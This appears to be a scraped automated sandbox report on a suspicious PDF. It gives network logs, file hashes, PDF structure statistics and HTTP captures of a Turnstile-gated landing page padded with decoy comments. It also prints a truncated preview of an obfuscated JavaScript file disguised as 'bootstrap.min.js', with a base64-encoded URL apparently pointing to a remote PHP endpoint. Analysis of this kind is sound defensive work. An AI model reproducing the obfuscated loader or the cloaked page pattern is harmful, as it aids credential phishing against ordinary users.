Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: inexcessco.filematrix.de
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5437776170-1317754460.cos.ap-bangkok.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: gplr.filematrix.de
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65466), with CRLF line terminators
Category:	downloaded
Size (bytes):	549820
Entropy (8bit):	4.912941345060167
Encrypted:	false
SSDEEP:	3072:2XfqkrCml3IcW/Gssv05wky5q5XCvlmwWcUoG7A6MTxD97ZHSKmE:3k9fm405wkAq5yMVcU50hTxD97RSKmE
MD5:	D9B81677D8822DA21DB7F3C1CFCB769E
SHA1:	0893473CB1C85B1969D0597ADE4143C7115F65B2
SHA-256:	4F6E5B0CD865D53B9C949B8CD2F6EB776C27C5C750B035384CEE97BDBFB1B81D
SHA-512:	9A4A8907E508E106B83A2DD6092A8A337B63142574B25557E64EF0C30C25DAFF577AEE64A7750CF7BC5C8936E264C17F326D0F89E3A11EA159E1DD11D6C05327
Malicious:	false
URL:	https://5437776170-1317754460.cos.ap-bangkok.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly9ncGxyLmZpbGVtYXRyaXguZGUvZ29vZ2xlLnBocA==";....var _0x586849=_0x3529;(function(_0x186e81,_0x380acb){var _0x34a11c=_0x3529,_0xef0e23=_0x186e81();while(!![]){try{var _0x535a49=parseInt(_0x34a11c(0x2a9))/(0x1e31+0x134-0x16+-0x3b8)+-parseInt(_0x34a11c(0x2a99))/(-0x702+0xa9d+-0x399)(parseInt(_0x34a11c(0xbdd))/(-0x20aa-0x1+-0x257c+0x4d50x1))+-parseInt(_0x34a11c(0xf4d))/(-0x567-0x4+-0x886+-0x6890x2)(parseInt(_0x34a11c(0x1422))/(0x118a0x1+0x1425-0x1+0x2a0))+parseInt(_0x34a11c(0xe0b))/(-0xfd5+-0x1a30+0x2a0b)(-parseInt(_0x34a11c(0x13bd))/(0x25b7+0xc4-0x1b+0x4-0x441))+parseInt(_0x34a11c(0x15f2))/(-0x36-0xd+0x9d0+-0xc86)+-parseInt(_0x34a11c(0xa3d))/(0x1491+-0x206e+0xbe6)+-parseInt(_0x34a11c(0x1433))/(-0x5f8+-0x168+-0xd-0x92)(-parseInt(_0x34a11c(0x49d))/(0x159d+0x979+0x9-0x373));if(_0x535a49===_0x380acb)break;else _0xef0e23['push'](_0xef0e23['shift']());}catch(_0x8dd1f8){_0xef0e23['push'](_0xef0e23['shift']());}}}(_0x1c5f,-0x1e295*-0x2+0x9994a+-0x6aeef));var c

File type:	PDF document, version 1.7, 1 pages
Entropy (8bit):	7.939016726104521
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	t8f2gm11IC.pdf
File size:	118'794 bytes
MD5:	b4110abf75ace41caef99b0dd4e10f28
SHA1:	89c25973b0a7414dbdd04dc2282e57b5844978cc
SHA256:	6995af89e5b19e34aee11ecef894b61cc73d070ab058c4a6f3e3852a2ad42f53
SHA512:	0c09864fda29298f5f0fb942a6366f4d9ac982db968d51340b561de9b3d2db361e2c500a117b8a8e3a3c54f1cbd42925766d14bd14a3277e30445f9783810733
SSDEEP:	1536:w1h+8amWATaZraU6/Ee7igIHI/N53aTuEFWsj0xVjd5Zt8OrxOblwJef3f7A:UpzZT4+cegHIl5CuETwvjdrt8ojczA
TLSH:	48C3012C80496D8CE0415BB26F3F3D9B7A4F767B38C55066767E6B4B07009BAA817C86
File Content Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 18 0 R/MarkInfo<</Marked true>>/Metadata 49 0 R/ViewerPreferences 50 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 1/Kids[ 3 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/R

General
Header:	%PDF-1.7
Total Entropy:	7.939017
Total Bytes:	118794
Stream Entropy:	7.955592
Stream Bytes:	113726
Entropy outside Streams:	5.268966
Bytes outside Streams:	5068
Number of EOF found:	2
Bytes after EOF:

Name	Count
obj	23
endobj	23
stream	11
endstream	11
xref	2
trailer	2
startxref	2
/Page	1
/Encrypt	0
/ObjStm	1
/URI	4
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

ID	DHASH	MD5
5	8c0c072935451da3	dda86c5cf9b26d33cca2a8833c24c9ca
6	ac0c072935451da3	2e7cefa4a1bb122bf5317dfd3632db6b
12	80ac2cb693939489	e31c3403a1e2c5b3c7c8b6e263ddd103
13	80ac2cb693939c89	8f08614a44b2ee7a2999bf2f6365c65a
15	a254abaeb4b04da2	fa44921bf025ff9c504915943cb71658

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 16:11:22.346080065 CET	62544	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:22.454102993 CET	53	62544	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:40.407620907 CET	53	59015	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:40.410319090 CET	53	55602	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:41.075674057 CET	53	54373	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:41.130856037 CET	53	62378	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:44.556109905 CET	57900	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:44.556263924 CET	55416	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:44.661279917 CET	53	57900	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:44.661772013 CET	53	55416	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:46.168116093 CET	57744	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:46.168430090 CET	57517	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:46.344918013 CET	53	57744	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:46.397778034 CET	53	57517	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:47.326601028 CET	63266	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:47.326601028 CET	58689	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:47.327754974 CET	58269	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:47.330602884 CET	54393	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:47.433900118 CET	53	63266	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:47.436866045 CET	53	58269	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:47.436876059 CET	53	58689	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:47.438205957 CET	53	54393	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:48.857121944 CET	49298	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:48.857121944 CET	50250	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:48.962346077 CET	53	50250	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:48.963052034 CET	53	49298	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:50.024136066 CET	63724	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:50.024303913 CET	53426	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:50.132050991 CET	53	53426	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:50.132066965 CET	53	63724	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:50.736407042 CET	64029	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:50.736763954 CET	55831	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:11:50.840548992 CET	53	64029	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:50.843445063 CET	53	55831	1.1.1.1	192.168.2.6
Mar 20, 2025 16:11:58.146012068 CET	53	55680	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.199553967 CET	56299	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.199923992 CET	60974	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.200475931 CET	52582	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.200628996 CET	50122	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.201224089 CET	56508	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.201502085 CET	65441	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.202862978 CET	49498	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.203135967 CET	57928	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.204375029 CET	62497	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.204539061 CET	54959	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:04.301491976 CET	53	56299	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.301995993 CET	53	60974	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.303500891 CET	53	50122	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.303515911 CET	53	52582	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.303529978 CET	53	56508	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.305035114 CET	53	49498	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.305990934 CET	53	57928	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.306207895 CET	53	55470	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:04.309109926 CET	53	65441	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:05.174323082 CET	53	54959	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:05.226759911 CET	49307	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:05.728408098 CET	53	62497	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:06.373275042 CET	53	49307	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:08.623162031 CET	50178	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:08.623295069 CET	63254	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:08.627671957 CET	57637	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:08.627948046 CET	60533	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:08.729811907 CET	53	57637	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:08.732408047 CET	53	60533	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:08.888020039 CET	53	63254	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:08.912969112 CET	53	50178	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:09.275509119 CET	50378	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:09.275675058 CET	61444	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:09.387527943 CET	53	61444	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:09.389647961 CET	53	50378	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:10.218276978 CET	138	138	192.168.2.6	192.168.2.255
Mar 20, 2025 16:12:12.381366014 CET	61044	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:12.381542921 CET	60173	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:12.646475077 CET	53	60173	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:12.666255951 CET	53	61044	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:15.403183937 CET	65026	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:15.403384924 CET	62277	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:15.510628939 CET	53	65026	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:15.513170004 CET	53	62277	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:15.620093107 CET	53	53281	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:15.938174963 CET	52300	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:15.938288927 CET	61906	53	192.168.2.6	1.1.1.1
Mar 20, 2025 16:12:16.041337013 CET	53	61906	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:16.081785917 CET	53	52300	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:17.299556971 CET	53	51717	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:40.009030104 CET	53	56145	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:40.255271912 CET	53	57383	1.1.1.1	192.168.2.6
Mar 20, 2025 16:12:42.468833923 CET	53	63690	1.1.1.1	192.168.2.6
Mar 20, 2025 16:13:10.251291037 CET	53	58088	1.1.1.1	192.168.2.6
Mar 20, 2025 16:13:54.402340889 CET	53	59505	1.1.1.1	192.168.2.6

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 20, 2025 16:11:41.075684071 CET	192.168.2.6	1.1.1.1	c1fb	(Port unreachable)	Destination Unreachable
Mar 20, 2025 16:11:46.397833109 CET	192.168.2.6	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Mar 20, 2025 16:12:06.373349905 CET	192.168.2.6	1.1.1.1	c237	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 16:11:22.558412075 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Mar 20, 2025 16:11:22.656826973 CET	1254	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=57806 Expires: Fri, 21 Mar 2025 07:14:48 GMT Date: Thu, 20 Mar 2025 15:11:22 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUXPi ')au
Mar 20, 2025 16:11:22.656872034 CET	491	IN	Data Raw: 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 1b 45 f0 66 95 d2 7c 6f c2 ea 3b ef 1f cf cb d6 ae 27 Data Ascii: \ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj,_(.{q{

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:46 UTC	679	OUT	GET /3Z6LC HTTP/1.1 Host: inexcessco.filematrix.de Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:47 UTC	319	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 20 Mar 2025 15:11:46 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Server: cloudflare Location: http://inexcessco.filematrix.de/3Z6LC/ Cf-Cache-Status: DYNAMIC CF-RAY: 923624dd7b0b1b53-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:11:47 UTC	253	IN	Data Raw: 66 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 65 78 63 65 73 73 63 6f 2e 66 69 6c 65 6d 61 74 72 69 78 2e 64 65 2f 33 5a 36 4c 43 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: f7<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://inexcessco.filematrix.de/3Z6LC/">here</a>.</p></body></html>
2025-03-20 15:11:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:47 UTC	680	OUT	GET /3Z6LC/ HTTP/1.1 Host: inexcessco.filematrix.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:47 UTC	994	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=hsrh08514g3qimo10rtj4a1nbs; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zAGG6UZgz4l0kcGb1uxfzqt5IeBbqQ9ZlrwkxXYuGpuTngFTNNAQ5fdbCXJZe7cohwVxBjE%2Fk5WNACrU4DFeOoKHI5j9FfuDSOn5Fw9memgB48tI6NFNqaaR6Iyp5O2asCp8QdMUfl9DcM8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923624df1e21f5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103339&min_rtt=102968&rtt_var=22281&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1252&delivery_rate=35790&cwnd=237&unsent_bytes=0&cid=faaacbf168db0789&ts=681&x=0"
2025-03-20 15:11:47 UTC	375	IN	Data Raw: 31 30 62 38 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 53 74 65 6c 6c 61 72 44 72 69 66 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 41 20 72 61 72 65 20 62 69 72 64 20 73 70 65 63 69 65 73 20 77 61 73 20 73 70 6f 74 74 65 64 20 6e 65 61 72 20 74 68 65 20 6c 61 6b 65 20 62 79 20 61 6e 20 61 6d 61 74 65 75 72 20 70 68 6f 74 6f 67 72 61 70 68 65 72 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f Data Ascii: 10b8 <html lang="en"> <head> <meta charset="UTF-8"> <title>StellarDrift</title> ... <span>A rare bird species was spotted near the lake by an amateur photographer.</span> --> <meta name="robots" content="no
2025-03-20 15:11:47 UTC	1369	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 54 68 65 20 70 69 6c 6f 74 20 6e 61 76 69 67 61 74 65 64 20 74 68 72 6f 75 67 68 20 74 68 65 20 73 74 6f 72 6d 20 74 6f 20 65 6e 73 75 72 65 20 61 20 73 61 66 65 20 6c 61 6e 64 69 6e 67 20 61 74 20 64 61 77 6e 2e 3c 2f 70 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 41 20 67 72 6f 75 70 20 6f 66 20 65 78 70 6c 6f 72 65 72 73 20 64 69 73 63 6f 76 65 72 65 64 20 61 20 68 69 64 64 65 6e 20 63 61 Data Ascii: https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>The pilot navigated through the storm to ensure a safe landing at dawn.</p> --> <style> * /* A group of explorers discovered a hidden ca
2025-03-20 15:11:47 UTC	1369	IN	Data Raw: 75 72 69 73 74 69 63 20 62 75 69 6c 64 69 6e 67 20 74 68 61 74 20 63 6f 75 6c 64 20 77 69 74 68 73 74 61 6e 64 20 65 78 74 72 65 6d 65 20 77 65 61 74 68 65 72 20 63 6f 6e 64 69 74 69 6f 6e 73 2e 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e Data Ascii: uristic building that could withstand extreme weather conditions. */ font-size: 1rem; margin-bottom: 30px; letter-spacing: 1px; } @media (max-width: 768px) { .
2025-03-20 15:11:47 UTC	1175	IN	Data Raw: 6f 76 61 74 69 76 65 20 70 72 6f 6a 65 63 74 73 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 54 68 65 20 73 74 75 64 65 6e 74 73 20 6f 72 67 61 6e 69 7a 65 64 20 61 20 73 63 69 65 6e 63 65 20 66 61 69 72 20 74 6f 20 73 68 6f 77 63 61 73 65 20 74 68 65 69 72 20 69 6e 6e 6f 76 61 74 69 76 65 20 70 72 6f 6a 65 63 74 73 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 5f 65 54 35 59 6d 69 6c 79 68 6e 31 71 61 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 4d 79 73 74 69 63 46 6c 61 72 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ovative projects. --> ... The students organized a science fair to showcase their innovative projects. --> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA_eT5Ymilyhn1qa" data-callback="MysticFlare">
2025-03-20 15:11:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report t8f2gm11IC.pdf

Overview

